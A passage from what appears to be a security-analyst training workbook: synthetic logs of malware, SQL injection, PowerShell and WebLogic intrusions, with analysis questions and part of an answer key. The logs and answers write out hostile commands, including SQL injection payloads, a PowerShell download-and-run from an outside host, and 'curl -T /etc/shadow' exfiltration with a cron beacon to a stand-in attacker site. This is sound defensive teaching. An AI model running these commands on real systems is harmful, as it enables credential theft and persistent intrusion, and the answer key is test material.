Timestamp: 2024-08-22 12:30:12

Source IP: 10.0.0.50

Destination IP: 192.168.1.150

Source Port: 5321

Destination Port: 22

Protocol: TCP

Action: Allow

Message: Connection allowed from 10.0.0.50 to 192.168.1.150 on port 22 (SSH).

Timestamp: 2024-08-22 12:33:08

Source IP: 10.0.0.50

Destination IP: 192.168.1.150

Source Port: 5322

Destination Port: 22

Protocol: TCP

Action: Allow

Message: Connection allowed from 10.0.0.50 to 192.168.1.150 on port 22 (SSH).

Timestamp: 2024-08-22 12:40:47

Source IP: 192.168.1.150

Destination IP: 172.16.0.2

Source Port: 5350

Destination Port: 443

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 172.16.0.2 on port 443 (HTTPS).

Timestamp: 2024-08-22 12:42:18

Source IP: 192.168.1.150

Destination IP: 172.16.0.2

Source Port: 5351

Destination Port: 443

Protocol: TCP

Action: Allow

Message: Connection allowed from 192.168.1.150 to 172.16.0.2 on port 443 (HTTPS).

**Questions:**

1. **Based on the logs, identify any suspicious activities or patterns. Are there any signs of a potential attack? If so, what could be the attacker's objectives?**
2. **Correlate different events in the logs to see if they are part of a larger attack pattern. How do the actions at different times relate to each other?**
3. **What possible exploits or vulnerabilities could the attacker be attempting to leverage based on the actions seen in the logs?**
4. **What steps would you recommend to mitigate the detected activities? Consider firewall rules, network segmentation and other security measures.**
5. **Given the logs and the detected activities, prioritise the incidents that need to be addressed immediately. Which incidents pose the greatest threat?**

**EXERCISE 10**

**Logs:**

Aug 16 15:23:10 EDR: Alert - Suspicious file activity detected:

File: C:\Users\attacker\AppData\Local\Temp\malware.exe

Process: explorer.exe (PID: 1250)

User: attacker

Aug 16 15:23:12 EDR: Process creation - cmd.exe executed with

Arguments: /c C:\Users\attacker\AppData\Local\Temp\malware.exe

User: attacker

Aug 16 15:23:13 EDR: Alert - File modification detected:

File: C:\Windows\System32\drivers\etc\hosts

Modified by: malware.exe (PID: 1275)

User: SYSTEM

Aug 16 15:23:16 EDR: Network connection initiated -

Remote IP: 203.0.113.45

Port: 80

Process: malware.exe (PID: 1275)

Aug 16 15:23:18 EDR: Alert - Privilege escalation attempt detected:

Process: malware.exe (PID: 1275)

Attempted to modify: C:\Windows\System32\lsass.exe

User: attacker

Aug 16 15:23:20 EDR: File deletion detected:

File: C:\Users\attacker\AppData\Local\Temp\malware.exe

Process: cmd.exe (PID: 1300)

Aug 16 15:23:22 EDR: Alert - Memory dump detected:

Process: malware.exe (PID: 1275)

Dumped: C:\Windows\System32\lsass.exe

User: SYSTEM

Aug 16 15:23:25 EDR: Network connection detected -

Remote IP: 203.0.113.45

Port: 8080

Process: malware.exe (PID: 1275)

Data sent: 3MB

Aug 16 15:23:28 EDR: Alert - Process termination detected:

Process: malware.exe (PID: 1275)

User: SYSTEM

Aug 16 15:23:30 EDR: File deletion detected:

File: C:\Windows\System32\drivers\etc\hosts

Process: explorer.exe (PID: 1250)

Aug 16 15:23:35 EDR: Alert - Persistence mechanism detected:

Registry key modified:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run

Value: malware.exe

User: SYSTEM

**Questions:**

1. **What type of attack was performed and what was the primary target of the attack?**
2. **What specific technique did the attacker use to gain unauthorised access or escalate privileges?**
3. **What evidence in the logs suggests that the attacker was attempting to exfiltrate data?**
4. **What tool or process was used by the attacker to dump the memory of the lsass.exe process?**
5. **What persistence mechanism did the attacker establish on the system?**
6. **Was the attack successful in extracting sensitive information? Provide supporting evidence.**
7. **How did the attacker attempt to cover their tracks after executing the malware?**
8. **What could have been done to detect or mitigate this type of attack earlier?**
9. **What role did the EDR play in detecting and logging the attack?**
10. **What further steps should be taken to secure the system after such an attack?**

**EXERCISE 11**

**Logs:**

Aug 16 14:22:10 WIN-SERVER01 IIS: [client 198.51.100.45] GET /index.aspx?id=1%20OR%20'1'='1' -- HTTP/1.1

Aug 16 14:22:15 WIN-SERVER01 MSSQLSERVER: Error: 18456, Severity: 14, State: 5. Login failed for user 'webapp'. Reason: SQL Injection attempt detected.

Aug 16 14:22:20 WIN-SERVER01 IIS: [client 198.51.100.45] GET /index.aspx?id=1%20UNION%20SELECT%20username,password%20FROM%20users -- HTTP/1.1

Aug 16 14:22:25 WIN-SERVER01 MSSQLSERVER: Error: 18456, Severity: 14, State: 5. Suspicious query detected, connection aborted.

Aug 16 14:22:30 WIN-SERVER01 IIS: [client 198.51.100.45] POST /login.aspx HTTP/1.1

Aug 16 14:22:35 WIN-SERVER01 MSSQLSERVER: Error: 18456, Severity: 14, State: 5. SQL Injection attempt detected.

Aug 16 14:22:40 WIN-SERVER01 Windows Firewall: Outbound connection detected from 10.0.0.20 to 203.0.113.200 on port 1433

Aug 16 14:22:45 WIN-SERVER01 IIS: [client 198.51.100.45] GET /index.aspx?id=1%20AND%20(SELECT%201%20FROM%20users%20WHERE%20username='admin'%20AND%20password='adminpass') -- HTTP/1.1

Aug 16 14:22:50 WIN-SERVER01 MSSQLSERVER: Error: 18456, Severity: 14, State: 5. Access denied for user 'webapp'.

Aug 16 14:22:55 WIN-SERVER01 IIS: [client 198.51.100.45] GET /index.aspx?id=1;%20DROP%20TABLE%20users; -- HTTP/1.1

Aug 16 14:23:00 WIN-SERVER01 MSSQLSERVER: Warning: SQL Injection detected, table 'users' dropped from 'production_db'.

**Questions:**

1. **What type of attack was performed and what was the primary target of the attack?**
2. **What specific SQL Injection technique did the attacker use to try to access the database?**
3. **What data or functionality was the attacker attempting to extract or manipulate from the system?**

4. **What evidence in the logs suggests that the attacker was able to execute SQL commands through the web application?**
5. **What tool or script might the attacker have used to automate the SQL injection attempts?**
6. **What specific database commands were issued by the attacker and what was their intended effect?**
7. **Was the attack successful in extracting or altering sensitive information? Provide supporting evidence.**
8. **What could have been done to prevent or mitigate this type of SQL injection attack?**
9. **What role did input validation play (or fail to play) in this attack?**
10. **How can SQL queries be made more resilient to SQL injection attacks? Provide examples of best practices.**

**EXERCISE 12**

**Logs:**

Aug 16 09:15:32 workstation-01 UserProfile: User 'employee01' logged in from IP 192.168.1.50

Aug 16 09:16:05 workstation-01 System: Antivirus signature update successful

Aug 16 09:18:45 workstation-01 Browser: User 'employee01' accessed website http://malicious-site.example.com

Aug 16 09:19:03 workstation-01 Browser: File download initiated by 'employee01' - filename: invoice.pdf

Aug 16 09:19:06 workstation-01 System: File 'invoice.pdf' saved to Downloads folder

Aug 16 09:19:30 workstation-01 Antivirus: File 'invoice.pdf' scanned, no threats found

Aug 16 09:20:12 workstation-01 UserProfile: User 'employee01' opened file 'invoice.pdf'

Aug 16 09:20:15 workstation-01 System: Executable 'invoice.pdf.exe' created in Temp folder

Aug 16 09:20:18 workstation-01 System: Process 'invoice.pdf.exe' started by user 'employee01'

Aug 16 09:20:20 workstation-01 Firewall: Outbound connection request to 203.0.113.101:80 by process 'invoice.pdf.exe'

Aug 16 09:20:25 workstation-01 Firewall: Connection to 203.0.113.101:80 established by process 'invoice.pdf.exe'

Aug 16 09:20:30 workstation-01 System: Registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malware' added by process 'invoice.pdf.exe'

Aug 16 09:20:35 workstation-01 System: Process 'cmd.exe' started by 'invoice.pdf.exe' with parameters '/c whoami'

Aug 16 09:20:40 workstation-01 Antivirus: Malware 'Trojan.Generic' detected in process 'invoice.pdf.exe'

Aug 16 09:20:42 workstation-01 System: Process 'invoice.pdf.exe' terminated by Antivirus

Aug 16 09:21:10 workstation-01 Firewall: Outbound connection to 203.0.113.101:80 detected from process 'explorer.exe'

Aug 16 09:21:15 workstation-01 Firewall: Connection blocked to 203.0.113.101:80 by process 'explorer.exe'

Aug 16 09:21:25 workstation-01 UserProfile: User 'employee01' logged out

Aug 16 09:22:01 workstation-01 Antivirus: Full system scan initiated by 'employee01'

Aug 16 09:22:45 workstation-01 System: Unauthorised file modification detected in 'C:\Windows\System32\drivers\etc\hosts'

Aug 16 09:23:05 workstation-01 System: Registry key 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malware' restored by unknown process

Aug 16 09:23:30 workstation-01 UserProfile: User 'employee01' logged in from IP 192.168.1.50

Aug 16 09:23:50 workstation-01 Firewall: Outbound connection to 203.0.113.101:80 detected from process 'svchost.exe'

Aug 16 09:24:05 workstation-01 Firewall: Connection established to 203.0.113.101:80 by process 'svchost.exe'

Aug 16 09:24:15 workstation-01 System: Executable 'malware.exe' created in Temp folder

Aug 16 09:24:20 workstation-01 System: Process 'malware.exe' started by user 'employee01'

Aug 16 09:24:25 workstation-01 Firewall: Outbound connection to 203.0.113.101:8080 by process 'malware.exe'

Aug 16 09:24:30 workstation-01 System: New service 'malware' added to startup by process 'malware.exe'

Aug 16 09:24:35 workstation-01 System: Executable 'svchost.exe' modified by process 'malware.exe'

Aug 16 09:24:40 workstation-01 System: Registry key 'HKLM\SYSTEM\CurrentControlSet\Services\malware' added

Aug 16 09:24:45 workstation-01 System: Process 'svchost.exe' restarted

Aug 16 09:24:50 workstation-01 Firewall: Outbound connection detected from 'svchost.exe' to 203.0.113.101:8080

Aug 16 09:25:00 workstation-01 Antivirus: System scan completed, no threats found

Aug 16 09:25:05 workstation-01 UserProfile: User 'employee01' logged out

Aug 16 09:25:15 workstation-01 System: Process 'explorer.exe' started by user 'employee01'

Aug 16 09:25:20 workstation-01 Firewall: Outbound connection to 203.0.113.101:8080 detected from process 'explorer.exe'

Aug 16 09:25:25 workstation-01 Firewall: Connection established to 203.0.113.101:8080 by process 'explorer.exe'

Aug 16 09:25:30 workstation-01 System: Process 'explorer.exe' terminated

Aug 16 09:25:35 workstation-01 System: Unauthorised system modification detected in 'C:\Windows\System32\drivers\etc\hosts'

Aug 16 09:25:45 workstation-01 Firewall: Outbound connection detected from 'svchost.exe' to 203.0.113.101:443

Aug 16 09:25:50 workstation-01 System: Process 'svchost.exe' terminated by Antivirus

Aug 16 09:26:00 workstation-01 Antivirus: Full system scan initiated by 'employee01'

Aug 16 09:26:30 workstation-01 Antivirus: Malware 'Backdoor.Win32' detected in process 'malware.exe'

Aug 16 09:26:35 workstation-01 System: Process 'malware.exe' terminated by Antivirus

Aug 16 09:26:40 workstation-01 Firewall: Outbound connection detected from 'explorer.exe' to 203.0.113.101:443

Aug 16 09:26:45 workstation-01 System: Process 'explorer.exe' terminated by Antivirus

Aug 16 09:27:00 workstation-01 UserProfile: User 'employee01' logged out

Aug 16 09:27:15 workstation-01 System: Unauthorised system modification detected in 'C:\Windows\System32\drivers\etc\hosts'

Aug 16 09:27:30 workstation-01 Firewall: Outbound connection detected from 'svchost.exe' to 203.0.113.101:8080

Aug 16 09:27:35 workstation-01 System: Process 'svchost.exe' terminated

Aug 16 09:27:45 workstation-01 UserProfile: User 'employee01' logged in from IP 192.168.1.50

Aug 16 09:28:00 workstation-01 Antivirus: Full system scan initiated

Aug 16 09:28:25 workstation-01 System: Unauthorised system modification detected in 'C:\Windows\System32\drivers\etc\hosts'

Aug 16 09:28:30 workstation-01 Firewall: Outbound connection detected from 'svchost.exe' to 203.0.113.101:8080

Aug 16 09:28:35 workstation-01 System: Process 'svchost.exe' terminated

**Questions:**

1. **What type of attack was performed and what was the primary target of the attack?**
2. **What specific technique did the attacker use to compromise the user endpoint?**
3. **What was the initial vector of the attack?**
4. **What evidence in the logs suggests that the malware was executed and spread across the system?**
5. **What command or script did the attacker use to maintain persistence on the compromised system?**
6. **Was the malware able to communicate with an external server? Provide supporting evidence.**
7. **What specific actions did the malware take to modify the system and how was this reflected in the logs?**
8. **What could have been done to prevent or mitigate this type of malware infection?**
9. **How did the Antivirus software respond to the malware and what gaps in detection can be identified?**
10. **What additional steps should be taken to fully eradicate the malware and secure the system?**

**EXERCISE 13**

**Logs:**

Aug 16 09:20:12 DESKTOP-01 UserLog: User 'Izzmier' downloaded file 'invoice.pdf' from 'http://malicious-site.com'

Aug 16 09:20:15 DESKTOP-01 PowerShell[7324]: Started PowerShell session

Aug 16 09:20:18 DESKTOP-01 PowerShell[7324]: Executing command: Start-Process -FilePath "C:\Users\Izzmier\Downloads\invoice.pdf.exe"

Aug 16 09:20:20 DESKTOP-01 PowerShell[7324]: Command executed: Start-Process -FilePath "C:\Users\Izzmier\Downloads\invoice.pdf.exe"

Aug 16 09:20:22 DESKTOP-01 Sysmon[9120]: Process Create: User: 'Izzmier', Executable: 'invoice.pdf.exe', PID: 9120

Aug 16 09:20:25 DESKTOP-01 PowerShell[7324]: Executing command: Invoke-WebRequest -Uri "http://203.0.113.101/command" -OutFile "C:\Users\Izzmier\AppData\Local\Temp\cmd.ps1"

Aug 16 09:20:28 DESKTOP-01 PowerShell[7324]: Command executed: Invoke-WebRequest -Uri "http://203.0.113.101/command" -OutFile "C:\Users\Izzmier\AppData\Local\Temp\cmd.ps1"

Aug 16 09:20:30 DESKTOP-01 PowerShell[7324]: Executing command: Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted

Aug 16 09:20:32 DESKTOP-01 PowerShell[7324]: Execution policy changed for process: Unrestricted

Aug 16 09:20:34 DESKTOP-01 PowerShell[7324]: Executing command: . "C:\Users\Izzmier\AppData\Local\Temp\cmd.ps1"

Aug 16 09:20:36 DESKTOP-01 PowerShell[7324]: Command executed: . "C:\Users\Izzmier\AppData\Local\Temp\cmd.ps1"

Aug 16 09:20:40 DESKTOP-01 PowerShell[7324]: Executing command: New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Malware" -Value "C:\Users\Izzmier\AppData\Roaming\malware.exe" -PropertyType String

Aug 16 09:20:42 DESKTOP-01 PowerShell[7324]: Registry key added: HKCU:\Software\Microsoft\Windows\CurrentVersion\Run\Malware

Aug 16 09:20:45 DESKTOP-01 PowerShell[7324]: Executing command: Copy-Item -Path "C:\Users\Izzmier\AppData\Local\Temp\malware.exe" -Destination "C:\Users\Izzmier\AppData\Roaming\malware.exe"

Aug 16 09:20:47 DESKTOP-01 PowerShell[7324]: File copied: C:\Users\Izzmier\AppData\Local\Temp\malware.exe to C:\Users\Izzmier\AppData\Roaming\malware.exe

Aug 16 09:20:50 DESKTOP-01 Sysmon[9120]: Network Connection: User: 'Izzmier', Destination: 203.0.113.101, Protocol: TCP, Port: 8080

Aug 16 09:20:52 DESKTOP-01 PowerShell[7324]: Executing command: netstat -anob | Out-File "C:\Users\Izzmier\AppData\Local\Temp\netstat.txt"

Aug 16 09:20:54 DESKTOP-01 PowerShell[7324]: Command executed: netstat -anob | Out-File "C:\Users\Izzmier\AppData\Local\Temp\netstat.txt"

Aug 16 09:20:57 DESKTOP-01 PowerShell[7324]: Executing command: Get-Process | Where-Object {$_.Name -eq "svchost"} | Stop-Process

Aug 16 09:21:00 DESKTOP-01 PowerShell[7324]: svchost process terminated: PID 8888

Aug 16 09:21:02 DESKTOP-01 Sysmon[9120]: Process Termination: User: 'Izzmier', Process: 'svchost.exe', PID: 8888

Aug 16 09:21:05 DESKTOP-01 PowerShell[7324]: Executing command: New-Service -Name "Malware" -Binary "C:\Users\Izzmier\AppData\Roaming\malware.exe" -StartupType Automatic

Aug 16 09:21:07 DESKTOP-01 PowerShell[7324]: New service added: Malware, Startup Type: Automatic

Aug 16 09:21:10 DESKTOP-01 Antivirus[9320]: Detected threat: Backdoor.Win32.Malware, Location: C:\Users\Izzmier\AppData\Roaming\malware.exe

Aug 16 09:21:12 DESKTOP-01 Antivirus[9320]: Terminated process: malware.exe, PID 9320

Aug 16 09:21:14 DESKTOP-01 PowerShell[7324]: Executing command: Remove-Item -Path "C:\Users\Izzmier\AppData\Local\Temp\malware.exe"

Aug 16 09:21:16 DESKTOP-01 PowerShell[7324]: File deleted: C:\Users\Izzmier\AppData\Local\Temp\malware.exe

Aug 16 09:21:18 DESKTOP-01 PowerShell[7324]: Executing command: Remove-Item -Path "C:\Users\Izzmier\AppData\Roaming\malware.exe"

Aug 16 09:21:20 DESKTOP-01 PowerShell[7324]: File deleted: C:\Users\Izzmier\AppData\Roaming\malware.exe

Aug 16 09:21:22 DESKTOP-01 Antivirus[9320]: Detected threat: Registry Key (Malware), Location: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Malware

Aug 16 09:21:24 DESKTOP-01 Antivirus[9320]: Removed registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Malware

Aug 16 09:21:30 DESKTOP-01 Sysmon[9120]: Network Connection: User: 'Izzmier', Destination: 203.0.113.101, Protocol: TCP, Port: 443

Aug 16 09:21:32 DESKTOP-01 PowerShell[7324]: Executing command: Stop-Service -Name "Malware" -Force

Aug 16 09:21:35 DESKTOP-01 PowerShell[7324]: Service stopped: Malware

Aug 16 09:21:38 DESKTOP-01 PowerShell[7324]: Executing command: Remove-Service -Name "Malware"

Aug 16 09:21:40 DESKTOP-01 PowerShell[7324]: Service removed: Malware

Aug 16 09:21:42 DESKTOP-01 Antivirus[9320]: Detected threat: Backdoor.Win32.Malware, Location: C:\Users\Izzmier\AppData\Roaming\malware.exe

Aug 16 09:21:45 DESKTOP-01 Antivirus[9320]: Terminated process: malware.exe, PID 9480

Aug 16 09:21:50 DESKTOP-01 PowerShell[7324]: Executing command: Set-ExecutionPolicy -Scope Process -ExecutionPolicy Restricted

Aug 16 09:21:52 DESKTOP-01 PowerShell[7324]: Execution policy changed for process: Restricted

Aug 16 09:21:55 DESKTOP-01 UserLog: User 'Izzmier' logged off

**Questions:**

1. **What type of attack was performed and what was the primary target of the attack?**
2. **What specific technique did the attacker use to compromise the user endpoint?**
3. **What was the initial vector of the attack?**
4. **What evidence in the logs suggests that the attacker executed a PowerShell script to maintain persistence?**
5. **What command or script did the attacker use to create persistence on the compromised system?**
6. **Was the malware able to communicate with an external server? Provide supporting evidence.**

7. **What specific actions did the malware take to modify the system and how was this reflected in the logs?**
8. **How did the Antivirus software respond to the malware and what gaps in detection can be identified?**
9. **What additional steps should be taken to fully eradicate the malware and secure the system?**
10. **How can organisations better protect against PowerShell-based attacks?**

**EXERCISE 14**

**Logs:**

2024-08-16 12:15:30,001 [INFO] [Thread-1] - WebLogic server startup initiated on port 7001

2024-08-16 12:15:35,123 [INFO] [Thread-1] - WebLogic server startup completed. Listening on port 7001

2024-08-16 12:18:45,456 [INFO] [Thread-2] - Connection request from 192.168.10.5:52344

2024-08-16 12:18:46,001 [DEBUG] [Thread-2] - GET /console/login/LoginForm.jsp HTTP/1.1 200 OK

2024-08-16 12:18:47,112 [INFO] [Thread-2] - User login attempt: admin

2024-08-16 12:18:48,456 [DEBUG] [Thread-2] - POST /console/j_security_check HTTP/1.1 302 Found

2024-08-16 12:18:50,567 [INFO] [Thread-2] - User admin successfully logged in from IP 192.168.10.5

2024-08-16 12:19:02,789 [INFO] [Thread-3] - Connection request from 192.168.10.5:52348

2024-08-16 12:19:03,001 [DEBUG] [Thread-3] - POST /console.portal?_nfpb=true&_windowLabel=EmbeddedLDAPAdmin&_pageLabel=HomePage1 HTTP/1.1 200 OK

2024-08-16 12:19:05,112 [INFO] [Thread-3] - User admin accessed /console.portal?_nfpb=true&_windowLabel=EmbeddedLDAPAdmin&_pageLabel=HomePage1

2024-08-16 12:19:10,345 [DEBUG] [Thread-4] - POST /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=JDBCDataSourceMonitoringPage HTTP/1.1 200 OK

2024-08-16 12:19:12,567 [INFO] [Thread-4] - User admin accessed /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=JDBCDataSourceMonitoringPage

2024-08-16 12:19:15,789 [DEBUG] [Thread-4] - POST /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=CreateDataSourcePage HTTP/1.1 200 OK

2024-08-16 12:19:17,001 [INFO] [Thread-4] - User admin initiated the creation of a new JDBC data source

2024-08-16 12:19:18,123 [DEBUG] [Thread-5] - POST /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=CreateDataSourceNextStepPage HTTP/1.1 200 OK

2024-08-16 12:19:20,456 [INFO] [Thread-5] - User admin set JNDI Name to 'jdbc/maliciousDS'

2024-08-16 12:19:22,789 [DEBUG] [Thread-5] - POST /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=CreateDataSourceTargetPage HTTP/1.1 200 OK

2024-08-16 12:19:25,112 [INFO] [Thread-5] - User admin targeted the new JDBC data source to the AdminServer

2024-08-16 12:19:27,345 [DEBUG] [Thread-5] - POST /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=SummaryPage HTTP/1.1 200 OK

2024-08-16 12:19:30,001 [INFO] [Thread-5] - User admin completed the creation of the malicious JDBC data source 'jdbc/maliciousDS'

2024-08-16 12:19:32,456 [DEBUG] [Thread-6] - GET /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=JDBCDataSourceMonitoringPage HTTP/1.1 200 OK

2024-08-16 12:19:34,123 [INFO] [Thread-6] - User admin started 'jdbc/maliciousDS'

2024-08-16 12:19:36,567 [DEBUG] [Thread-6] - POST /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=SQLScriptRunnerPage HTTP/1.1 200 OK

2024-08-16 12:19:38,789 [INFO] [Thread-6] - User admin executed SQL script: 'SELECT * FROM USERS'

2024-08-16 12:19:40,001 [INFO] [Thread-6] - SQL script execution completed successfully

2024-08-16 12:19:42,123 [DEBUG] [Thread-6] - POST /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=SQLScriptRunnerPage HTTP/1.1 200 OK

2024-08-16 12:19:45,112 [INFO] [Thread-6] - User admin executed SQL script: 'CREATE TABLE MALICIOUS_DATA AS SELECT * FROM USERS'

2024-08-16 12:19:47,001 [INFO] [Thread-6] - SQL script execution completed successfully

2024-08-16 12:19:50,123 [DEBUG] [Thread-7] - GET /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=SQLScriptRunnerPage HTTP/1.1 200 OK

2024-08-16 12:19:52,456 [INFO] [Thread-7] - User admin executed SQL script: 'INSERT INTO MALICIOUS_DATA (SELECT * FROM USERS)'

2024-08-16 12:19:55,789 [INFO] [Thread-7] - SQL script execution completed successfully

2024-08-16 12:19:57,001 [DEBUG] [Thread-7] - POST /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=DataSourceMonitoringPage HTTP/1.1 200 OK

2024-08-16 12:20:00,123 [INFO] [Thread-7] - User admin stopped the 'jdbc/maliciousDS' data source

2024-08-16 12:20:02,345 [DEBUG] [Thread-8] - POST /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=SummaryPage HTTP/1.1 200 OK

2024-08-16 12:20:04,567 [INFO] [Thread-8] - User admin deleted the 'jdbc/maliciousDS' data source

2024-08-16 12:20:07,001 [DEBUG] [Thread-8] - GET /console.portal?_nfpb=true&_windowLabel=LogoutAdmin&_pageLabel=LoginPage HTTP/1.1 200 OK

2024-08-16 12:20:09,123 [INFO] [Thread-8] - User admin logged out successfully

2024-08-16 12:20:12,345 [INFO] [Thread-9] - Connection request from 192.168.10.5:52352

2024-08-16 12:20:13,567 [DEBUG] [Thread-9] - GET /console/login/LoginForm.jsp HTTP/1.1 200 OK

2024-08-16 12:20:15,789 [INFO] [Thread-9] - User login attempt: admin

2024-08-16 12:20:17,001 [DEBUG] [Thread-9] - POST /console/j_security_check HTTP/1.1 302 Found

2024-08-16 12:20:18,123 [INFO] [Thread-9] - User admin successfully logged in from IP 192.168.10.5

2024-08-16 12:20:20,456 [DEBUG] [Thread-10] - GET /console.portal?_nfpb=true&_windowLabel=DataSourceAdmin&_pageLabel=SQLScriptRunnerPage HTTP/1.1 200 OK

2024-08-16 12:20:22,789 [INFO] [Thread-10] - User admin executed SQL script: 'DROP TABLE MALICIOUS_DATA'

2024-08-16 12:20:25,001 [INFO] [Thread-10] - SQL script execution completed successfully

2024-08-16 12:20:27,123 [DEBUG] [Thread-10] - GET /console.portal?_nfpb=true&_windowLabel=LogoutAdmin&_pageLabel=LoginPage HTTP/1.1 200 OK

2024-08-16 12:20:29,345 [INFO] [Thread-10] - User admin logged out successfully

**Questions:**

1. **What type of attack was performed and what was the primary target of the attack?**
2. **Identify the steps the attacker took to carry out the attack. How did they escalate privileges?**
3. **Which IP address was used by the attacker?**
4. **What was the purpose of creating the malicious JDBC data source?**
5. **How did the attacker cover their tracks after the data extraction?**
6. **What additional security measures could be implemented to prevent this type of attack?**
7. **What evidence in the logs indicates that an unauthorised activity occurred?**
8. **Describe the sequence of events that led to the execution of the SQL script to extract and delete data.**

**EXAMPLE 15**

**Logs:**

Aug 16 15:00:10 WIN-ENDPOINT01 IIS: [client 198.51.100.45] POST /login.aspx HTTP/1.1
Aug 16 15:00:15 WIN-ENDPOINT01 MSSQLSERVER: Error: 18456, Severity: 14, State: 5. Login failed for user 'admin'. Reason: SQL Injection attempt detected.
Aug 16 15:00:20 WIN-ENDPOINT01 IIS: [client 198.51.100.45] POST /login.aspx HTTP/1.1
Aug 16 15:00:25 WIN-ENDPOINT01 MSSQLSERVER: Error: 18456, Severity: 14, State: 5. Login failed for user 'admin'. Reason: Invalid login attempt.
Aug 16 15:00:30 WIN-ENDPOINT01 IIS: [client 198.51.100.45] POST /login.aspx HTTP/1.1
Aug 16 15:00:35 WIN-ENDPOINT01 MSSQLSERVER: Error: 18456, Severity: 14, State: 5. Login failed for user 'admin'. Reason: Invalid login attempt.
Aug 16 15:00:40 WIN-ENDPOINT01 Windows Firewall: Outbound connection detected from 10.0.0.20 to 203.0.113.200 on port 3389
Aug 16 15:00:45 WIN-ENDPOINT01 IIS: [client 198.51.100.45] POST /login.aspx HTTP/1.1
Aug 16 15:00:50 WIN-ENDPOINT01 MSSQLSERVER: Error: 18456, Severity: 14, State: 5. Login failed for user 'admin'. Reason: SQL Injection attempt detected.
Aug 16 15:00:55 WIN-ENDPOINT01 Windows Firewall: Outbound connection detected from 10.0.0.20 to 203.0.113.200 on port 3389
Aug 16 15:01:00 WIN-ENDPOINT01 IIS: [client 198.51.100.45] POST /login.aspx HTTP/1.1
Aug 16 15:01:05 WIN-ENDPOINT01 MSSQLSERVER: Error: 18456, Severity: 14, State: 5. Login failed for user 'admin'. Reason: SQL Injection attempt detected.

**Questions:**

1. **What type of attack was performed and what was the primary target of the attack?**
2. **What specific SQL Injection technique did the attacker use to try to access the database?**
3. **What data or functionality was the attacker attempting to extract or manipulate from the system?**
4. **What evidence in the logs suggests that the attacker was able to execute SQL commands through the web application?**
5. **What tool or script might the attacker have used to automate the SQL injection and brute-force attempts?**
6. **What specific database commands were issued by the attacker and what was their intended effect?**
7. **Was the attack successful in extracting or altering sensitive information? Provide supporting evidence.**

8. **What could have been done to prevent or mitigate this type of SQL Injection and brute-force attack?**
9. **What role did input validation play (or fail to play) in this attack?**
10. **How can SQL queries be made more resilient to SQL injection attacks? Provide examples of best practices.**

# ANSWERS

## ANSWERS

### EXERCISE 1

1. **What type of attack was performed on the Linux server based on the log data?**
    - The attack was a Credential Dumping Attack, where the attacker accessed the server and extracted user credentials from the system.
2. **What was the time range during which the attack took place?**
    - The attack occurred between 14:32:12 and 14:34:20 on August 15.
3. **Which tools did the attacker use to perform the credential dumping?**
    - The attacker used SSH to gain access and downloaded a credential dumping tool (mimikatz) using wget.
4. **What was the attacker's IP address?**
    - The attacker's IP address was 203.0.113.45.
5. **What files or information did the attacker extract from the system?**
    - The attacker extracted the /etc/shadow file, which contains hashed passwords and uploaded it to a remote server.
6. **What were the attacker's actions to maintain persistence on the Linux server?**
    - The attacker created a cron job to execute a curl command every 5 minutes, sending a ping request to the attacker's server. This cron job ensures periodic communication with the malicious site, keeping the attacker's presence on the server.
7. **What vulnerabilities did the attacker exploit to gain initial access to the system? Provide the CVE-ID if applicable.**
    - The logs suggest that the attacker exploited weak SSH password authentication, allowing them to log in as root. There may not be a specific CVE without further details, but using strong password policies and enabling multi-factor authentication could mitigate this vulnerability.
8. **Which commands were executed by the attacker and what were their purposes?**
    - wget http://malicious-site.com/tools/mimikatz.tar.gz: Downloaded the mimikatz tool for credential dumping.

- tar -xzvf mimikatz.tar.gz: Extracted the mimikatz tool.
- chmod +x /tmp/mimikatz: Made the mimikatz tool executable.
- ./mimikatz: Executed the mimikatz tool to dump credentials.
- curl -T /etc/shadow http://malicious-site.com/upload: Uploaded the credentials file to a remote malicious server.
- crontab -l: Listed existing cron jobs.
- echo "*/5 * * * * /usr/bin/curl -s http://malicious-site.com/ping > /dev/null 2>&1" | crontab -: Added a new cron job to ensure persistence by communicating with the malicious site every 5 minutes.

9. **Was the attack successful? Provide evidence to support your conclusion.**
    - Yes, the attack was successful. Evidence includes:
        - The attacker successfully logged in as root via SSH.
        - The credentials from the /etc/shadow file were dumped and uploaded to the remote server.
        - The cron job was successfully installed to maintain persistence on the system.
10. **What could be done to prevent this type of attack in the future?**
    - To prevent future attacks:
        - Enforce strong password policies and implement multi-factor authentication (MFA) for SSH access.
        - Monitor outgoing network traffic to detect unusual uploads.
        - Limit privileged access and restrict the use of tools like wget and curl for untrusted users.
        - Regularly review and audit cron jobs and user activities.
        - Deploy intrusion detection systems (IDS) to monitor for suspicious activities on the server.

**EXERCISE 2**

1. **What type of malware was used in the attack on the Windows server?**
    - The malware used was ransomware, as evidenced by the encryption of files and the creation of a ransom note.
2. **What was the time range during which the ransomware infection occurred?**
    - The ransomware infection occurred between 09:42:31 and 09:46:35 on August 16.
3. **Which method did the attacker use to execute the ransomware on the Windows server?**
    - The attacker used PowerShell to download the ransomware using Invoke-WebRequest and then executed it using the Start-Process command.
4. **What files were encrypted by the ransomware and where were they located?**
    - The files C:\Users\Administrator\Documents\financials.xlsx and C:\Users\Administrator\Desktop\contracts.docx were encrypted by the ransomware.
5. **What extension did the ransomware append to the encrypted files?**
